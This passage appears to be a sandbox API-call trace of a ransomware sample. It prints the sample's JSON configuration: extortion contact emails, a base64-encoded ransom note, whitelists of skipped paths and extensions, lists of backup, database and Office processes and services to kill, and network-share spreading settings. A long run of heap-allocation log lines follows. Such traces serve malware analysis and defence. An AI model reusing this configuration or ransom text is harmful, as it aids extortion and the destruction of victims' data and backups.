\"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6920, Size=0x1c) returned 0x8e6980 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6920 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6980, Size=0x20) returned 0x8e6980 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e69a8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6878 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e69c8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6878, Size=0x8) returned 0x8e6878 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e69e8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6980, Size=0x24) returned 0x8e6a08 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6980 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a08, Size=0x28) returned 0x8e6a08 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6a38 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a08, Size=0x2c) returned 0x8e6a58 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6a08 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6a28 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6aa8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e68c8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ac8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x8) returned 0x8e68c8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ae8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0xc) returned 0x8e68c8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6b08 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x10) returned 0x8e68c8 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6b28 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x14) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6b48 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x18) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6b68 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x1c) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6b88 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x20) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ba8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x24) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6bc8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x28) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6be8 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x2c) returned 0x8e7290 [0030.420] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6c08 [0030.420] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x30) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6c28 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x34) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6c48 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x38) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6c68 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x3c) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6c88 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x40) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ca8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x44) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6cc8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x48) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ce8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x4c) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6d08 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x50) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6d28 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x54) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6d48 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x58) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6d68 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x5c) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6d88 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x60) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6da8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x64) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6dc8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x68) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6de8 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x6c) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6e08 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x70) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6e28 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x74) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6e48 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x78) returned 0x8e7290 [0030.421] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6e68 [0030.421] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x7c) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6e88 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x80) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ea8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x84) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ec8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x88) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6ee8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x8c) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6f08 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x90) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6f28 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7290, Size=0x94) returned 0x8e7290 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6f48 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0x8) returned 0x8e6a28 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6f68 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e68c8 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6f88 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x8) returned 0x8e68c8 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6fa8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0xc) returned 0x8e68c8 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6fc8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x10) returned 0x8e68c8 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6fe8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x14) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7008 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x18) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7028 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x1c) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7048 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x20) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7068 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x24) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7088 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x28) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e70a8 [0030.422] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x2c) returned 0x8e7330 [0030.422] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e70c8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x30) returned 0x8e7330 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e70e8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x34) returned 0x8e7330 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7108 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x38) returned 0x8e7330 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7128 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x3c) returned 0x8e7330 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7148 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7330, Size=0x40) returned 0x8e7330 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7168 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0xc) returned 0x8e68c8 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7188 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6a28 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e71a8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0x8) returned 0x8e6a28 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e71c8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6a28, Size=0xc) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e71e8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x10) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7208 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x14) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7228 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x18) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7248 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x1c) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7268 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x20) returned 0x8e7378 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e73b8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7378, Size=0x24) returned 0x8e7ba0 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e73d8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x28) returned 0x8e7ba0 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e73f8 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x2c) returned 0x8e7ba0 [0030.423] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7418 [0030.423] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x30) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7438 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x34) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7458 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x38) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7478 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x3c) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7498 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x40) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e74b8 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x44) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e74d8 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x48) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e74f8 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x4c) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7518 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x50) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7538 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x54) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7558 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x58) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7578 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x5c) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e7598 [0030.424] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e7ba0, Size=0x60) returned 0x8e7ba0 [0030.424] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e75b8 [0030.425] 